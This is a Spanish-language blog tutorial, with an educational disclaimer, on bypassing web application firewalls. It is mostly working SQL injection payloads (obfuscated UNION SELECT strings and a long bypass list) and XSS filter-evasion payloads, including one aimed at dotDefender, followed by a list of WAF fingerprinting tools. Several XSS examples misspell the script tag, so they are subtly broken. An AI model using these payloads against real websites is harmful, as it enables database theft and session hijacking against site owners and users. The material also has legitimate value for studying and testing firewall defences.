domingo, 21 de mayo de 2017

WAF BYPASS



DISCLAIMER: Honeysec no se hace responsable de cualquier uso que se le pueda dar a las herramientas que aparecen en el siguiente articulo, incluidos ataques a cualquier dispositivo móvil o tablet. Estas herramientas han sido publicadas con propósitos educativos y sin ninguna garantía.



 By: @txambe



Un firewall de aplicación web (WAF) es un dispositivo, un complemento de servidor o un filtro que aplica un conjunto de reglas a una conversación de HTTP. Por lo general, estas normas protegen contra amenazas comunes, como Scripting (XSS), inyección de SQL (SQLI) y otras vulnerabilidades relacionadas con aplicaciones web comunes.


Los WAF los vamos a dividir en tres categorías:

De acuerdo a su comportamiento:
· Bridge/Router
· Reverse Proxy
· Built-in


De acuerdo al modelo de protección:
·         Signature-based
·         Rule-based

De acuerdo a como reaccionan ante una “bad” request:
·         Cleaning of dangerous data
·         Blocking the request
·         Blocking the attack source


Las técnicas de evasión que vamos a ver son SQL-Injection y XSS

SQL-Injection
Lo primero que vamos a ver, son los métodos de SQL-Injections , los vamos a dividir en dos partes, primero los métodos simples y posteriormente otros  que  luego se irán incrementando en complejidad.

Métodos Básicos/Simples:

1) Utilización de Comments para bypass los WAF:
            http://www.XXX.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….

            Sin embargo, muchos WAF identifican este método  y nos mostrará un mensaje de “Forbidden”.
 
      2) Cambiar la estructura de las Letras:
           http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….

           Sin embargo como en el caso anterior la mayoría de los  WAF lo detectarán.

   3) Combinar los dos métodos anteriores:                                                                                                                       http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….

       4) Remplazar Keywords:

            Algunos firewalls quitan el  “UNION SELECT” cuando se encuentra en la  URL… Podemos realizar                     lo siguiente para explotar esta función:
           http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….


          El “union  select” serán eliminados, siendo el resultado final: “UNION SELECT”. Este método no                  funciona en todos los firewalls, ya que algunos de ellos eliminan los comandos "UNION" y "SELECT"     
          cuando se detectan.
               
      5) Inline Comments:

En algunos firewalls se puede realizar el bypass insertando comentarios entre el “Union” y el “Select”:
           http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…


           El %55 es igual a “U” y el %53 s “S”.

Aquí terminamos los métodos básicos.

Métodos avanzados:

Ahora que hemos aprendido a realizar un bypass básico de un WAF,  vamos a profundizar algo más.

1)  Buffer Overflow / Firewall Crash:
            Si obtenemos un error 500, podemos explotarlo usando el método Buffer Overflow.             ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*      
            /+1,2,3,4….
           Muchos firewall están desarrollados en C/C++ y son vulnerables a Buffer Overflow.            http://www.site.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000      
          “A”)..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….
     
2)  Remplazar los caracteres con su valor en HEX: 
     Podemos remplazar algunos caracteres con valores HEX (URL-Encoded):
http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…. 
Os dejo un enlace para convertir cualquier texto a HEX: 

3)  Usar otra variable o comando distintos a los conocidos de SQLi:
A parte de “UNION SELECT” hay otros comandos que podrían ser bloqueados.
                    COMANDO | QUE USAR EN SU LUGAR
                    @@version       | version()
                    concat()           | concat_ws()  --> Diferencia entre concat () y concat-ws ()
                    group_concat() | concat_ws()
 
4)   Resumen de Funciones para realizar exploiting:
Muchos firewalls ofrecen más protección añadiendo nuevas versiones o extrañas funciones:
Por ejemplo:
En el siguiente caso el firewall remplaza “*” los asteriscos con espacios en blanco, con lo cual      
podemos hacer lo siguiente:


Si el firewall quita el “*”, el resultado será: 15+union+select….

             Otros métodos de bypass podrían ser:
15+(uNioN)+(sElECt)….
15+(uNioN+SeleCT)+…
15+(UnI)(oN)+(SeL)(ecT)+….
15+union (select 1,2,3,4…)

A continuación os dejo un breve listado de métodos WAF Bypassing.

  •     /*!%55NiOn*/ /*!%53eLEct*/
  •     %55nion(%53elect 1,2,3)-- -
  •     +union+distinct+select+
  •     +union+distinctROW+select+
  •     /**//*!12345UNION SELECT*//**/
  •     /**//*!50000UNION SELECT*//**/
  •     /**/UNION/**//*!50000SELECT*//**/
  •     /*!50000UniON SeLeCt*/
  •     union /*!50000%53elect*/
  •     +#uNiOn+#sEleCt
  •     +#1q%0AuNiOn all#qa%0A#%0AsEleCt
  •     /*!%55NiOn*/ /*!%53eLEct*/
  •     /*!u%6eion*/ /*!se%6cect*/
  •     +un/**/ion+se/**/lect
  •     uni%0bon+se%0blect
  •     %2f**%2funion%2f**%2fselect
  •     union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
  •     REVERSE(noinu)+REVERSE(tceles)
  •     /*--*/union/*--*/select/*--*/
  •     union (/*!/**/ SeleCT */ 1,2,3)
  •     /*!union*/+/*!select*/
  •     union+/*!select*/
  •     /**/union/**/select/**/
  •     /**/uNIon/**/sEleCt/**/
  •     /**//*!union*//**//*!select*//**/
  •     /*!uNIOn*/ /*!SelECt*/
  •     +union+distinct+select+
  •     +union+distinctROW+select+

Tools
sqlmap - Identify over 30 WAF variants using the --identify-waf syntax and use tamper scripts to evade
FatCat SQL Injector - SQL Injection tool with WAF Bypasses for AppArmor and ModSecurity


XSS
Los ataques XSS (Cross-Site Scripting) inyectan secuencias de comandos maliciosas en sitios web  confiables. Los ataques se producen cuando un atacante utiliza una aplicación web para enviar código malicioso, generalmente en forma de una secuencia de comandos en el navegador.
 Las fallas que permiten que estos ataques tengan éxito, son bastante generalizadas y se producen en cualquier lugar donde una aplicación web utiliza la entrada de datos de un usuario dentro de la salida que genera sin validarla o codificarla.  
Un atacante puede usar XSS para enviar un script malicioso a un usuario confiado. El navegador del usuario final no tiene forma de saber que el script no debe ser de confianza, y ejecutará el script. Debido a que piensa que el script proviene de una fuente de confianza, el script malicioso puede acceder a cualquier cookie, token de sesión u otra información confidencial retenida por el navegador y utilizada con ese sitio.
 
XSS Injection
Empezaremos por el bypass básico XSS PAYLOAD :
<scirpt>alert("XSS")</script>
Cuando ejecutamos este payload, si hay un WAF  en el sitio de destino, lo podremos explotar fácilmente con XSS, pero si hay algún filtro de WAF actualizado, entonces tendremos que buscar una alternativa. Algunos filtros WAF evaden automáticamente algunos caracteres dentro del XSS Payload , por ejemplo " ' "(Single Quote) ," " " (Double Quote) or " / " (back-Slashes)

Bypassing XSS WAF usando valores ASCII:
En este método haremos el  bypass del WAF usando caracteres ASCII  en nuestro objetivo.
Let's Say this is our XSS Payload.

<scirpt>alert("XSS")</script>
Cuando ejecutamos este payload, los filtros WAF XSS lograran evadir algunos caracteres como Single o Double Magic Quotes por lo que  nuestro payload no funcionará. Para pasar por alto estas medidas, pasaremos nuestro payload a código ASCII y luego la ejecutaremos. Podemos utilizar el complemento de Firefox HackBar para convertir nuestros payload  XSS en caracteres ASCII. Nuestro valor ASCII convertido es realizado a través de  Javascript, cuando ejecutemos nuestro valor ASCII ,  Javascript lo convertirá en los caracteres que hemos codificado

Por Ejemplo:

XSS Payload:alert("XSS")

Convertimos el valor que va entre las comillas  a ASCII :
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)

Ahora lo añadimos a nuestro payload XSS:
<scirpt>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)</script>



Bypassing XSS WAF usando codificación HEX :
           En este método convertiremos todo nuestro payload XSS a HEX y luego ejecutarlo en el  
           objetivo. Esto ejecutará nuestro payload  XSS sin que sea detectado por el WAF.

          Nuestro payload XSS inicial:
          <scrirpt>alert("XSS")</script>

         Valor codificado:%3c%73%63%69%72%70%74%3e%61%6c%65%72%74%28%
         22%58%53%53%22%29%3c%2f%73%63%72%69%70%74%3e

          Usaremos el nuevo valor codificado en nuestro objetivo.

Bypassing XSS WAF por Ofuscación:
        En este  método vamos a utilizar vamos a utilizar mayúsculas y minúsculas como palabras clave 
        en nuestro payload XSS para bypass el filtrado WAF XSS. En algunos casos el admin bloquea
        algunas claves como Alert o Script y cuando ejecutamos nuestro  payload  XSS el filtrado del 
        WAF automáticamente lo filtrará y no funcionará.

        Por eso, en este caso utilizaremos letras minúsculas y  mayúsculas para realizar el bypass al  
        WAF.

       Aquí tenemos nuestro Payload XSS: <scirpt>alert("XSS")</script>

       Bypassed XSS Payload:<sCiRPt>aLeRT("XSS")</sCriPT>

       Este Payload XSS realizará  Bypass al filtro XSS del  WAF y podemos ejecutar nuestro script.

Bypassing XSS WAF Mod_Security:

      Algunas veces cuando ejecutamos nuestro Payload  XSS y nos da un error como:
      "Not Acceptable! An appropriate representation of the requested resource could not be   
      found on this server. This error was generated by Mod_Security"

       So we have to Bypass the Mod_Security WAF on the Target Site.

       Nuestro Payload  XSS:
       <scirpt>alert("XSS")</script>

       Aquí el  Bypass de nuestro PAYLOAD XSS :
      <scirpt>alert("XSS")</script>



Bypassing XSS WAF Dot Defender: 
      Dot Defender es otro WAF el cual  elimina el código malicioso  para que no llegue a nuestros    
      objetivos. Cuando intentamos ejecutar nuestra query  XSS  en la web protegida por Dot 
      Defender WAF Protected nos dará un  error.

      "dotDefender Blocked Your Request"

     Así que nuestro  script no funcionará. Necesitamos realizar bypass al Dot Defender WAF para      
     ejecutar nuestros scripts maliciosos en la aplicación web. A continuación vemos el script para  
     realizar el bypass XSS Payload for Dot Defender WAF.

    Dot Defender WAF Bypassed XSS Payload: <svg/onload=prompt(1);> 


Herramientas:
WAFlulz- Python tool based on Requests, fingerprints over 30 WAF products with additional capabilities for proxy randomization, as well as passive, safe and aggressive recon modes. Still in development with plans for mapping and bypass automation.
ironbee waf-research - A set of 150 protocol checks developed by Ivan Ristic as part of ongoing WAF research
pyronbee - tool based on ironbee research
waffit - Identify and fingerprint WAF
Paradox WAF detection - Another detection tool
WAF_Tester - Helpful for identifying WAF countermeausres, which can also help fingerprinting some deployment types like Sniffing WAF
Nmap - http-waf-detect.nse script
imperva-detect - Detect presence of Imperva WAF. Includes check-ciphers script to detect DHE/EDH support
F5 Cookie Decoder Burp extension - Secure Ideas Burp extension to detect presence of F5 cookie and attempts to decode it
Stonesoft Evader - Evasion tool for testing NGFW and WA.

Otras herramientas de evaluación:  
Walk On the Fire (w-o-f) - A passive tool for evaluating WAFs | blog post
WAF Testing Framework (WTF) - Created by Imperva, includes a client side application and Web Goat designed to identify weaknesses in your WAF


Happy Hacking

No hay comentarios:

Publicar un comentario